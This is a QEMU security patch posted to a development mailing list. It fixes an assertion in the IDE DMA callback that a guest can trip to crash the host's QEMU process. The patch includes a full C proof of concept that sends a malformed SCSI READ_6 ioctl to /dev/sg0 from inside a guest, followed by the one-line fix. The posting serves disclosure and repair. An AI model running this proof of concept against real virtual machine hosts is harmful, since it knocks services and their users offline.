[Qemu-devel] [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest

[Alexander Popov <alex.popov@linux.com>]

This assertion was introduced in the commit a718978ed58a in July 2015.
It implies that the size of successful DMA transfers handled in
ide_dma_cb() should be multiple of 512 (the size of a sector).

But guest systems can initiate DMA transfers that don't fit this
requirement. Let's improve the assertion to prevent qemu DoS from quests.

PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
command and crash qemu:

#include <stdio.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <scsi/scsi.h>
#include <scsi/scsi_ioctl.h>

#define CMD_SIZE 2048

struct scsi_ioctl_cmd_6 {
	unsigned int inlen;
	unsigned int outlen;
	unsigned char cmd[6];
	unsigned char data[];
};

int main(void)
{
	intptr_t fd = 0;
	struct scsi_ioctl_cmd_6 *cmd = NULL;

	cmd = malloc(CMD_SIZE);
	if (!cmd) {
		perror("[-] malloc");
		return 1;
	}

	memset(cmd, 0, CMD_SIZE);
	cmd->inlen = 1337;
	cmd->cmd[0] = READ_6;

	fd = open("/dev/sg0", O_RDONLY);
	if (fd == -1) {
		perror("[-] opening sg");
		return 1;
	}

	printf("[+] sg0 is opened\n");

	printf("[.] qemu should break here:\n");
	fflush(stdout);
	ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
	printf("[-] qemu didn't break\n");

	free(cmd);

	return 1;
}

Signed-off-by: Alexander Popov <alex.popov@linux.com>
---
 hw/ide/core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/hw/ide/core.c b/hw/ide/core.c
index 6afadf8..304fe69 100644
--- a/hw/ide/core.c
+++ b/hw/ide/core.c
@@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
 
     sector_num = ide_get_sector(s);
     if (n > 0) {
-        assert(n * 512 == s->sg.size);
+        assert(n == s->sg.size / 512);
         dma_buf_commit(s, s->sg.size);
         sector_num += n;
         ide_set_sector(s, sector_num);
-- 
2.7.4